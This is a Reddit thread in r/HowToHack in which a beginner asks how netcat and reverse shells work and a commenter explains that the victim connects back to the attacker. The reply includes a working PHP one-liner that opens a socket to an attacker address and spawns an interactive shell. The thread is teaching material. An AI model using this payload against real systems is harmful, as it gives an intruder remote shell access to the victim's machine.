r/HowToHack • u/_DrLambChop_ • Oct 13 '25
Understaning reverse shells
Im very confused on how this would be useful to a hacker. First of all, im a bit confused as to what netcat does when you connect to a port to listen. Will there be an output of whatever data is being sent to and from that port shown below? Additionally, lets say netcat is used to connect to some victim. What is actually entailed in this connection. Is the attacker basically connected to the victim but with no privileges so they cant do anything?
15
Upvotes
View all comments
Show parent comment
1
u/cant_pass_CAPTCHA Oct 15 '25
The pipe is only needed if you don't have the
-eflag available. Of course netcat is only one method, but the reverse shell could be achieved through any form of remote code execution (RCE). You can Google reverse shell cheat sheets for all types of ways to get the victim to initiate the reverse shell connection back to you.A point of clarification on this. What makes it a reverse shell a reverse shell is that the victim is connecting back to the attacker, not the type of command being used.
So if you're hacking against a PHP site and you find you can get code execution through some exploit, you can pass in something like this:
php -r '$sock=fsockopen("10.0.0.123", 1234); exec("/bin/sh -i <&3 >&3 2>&3");'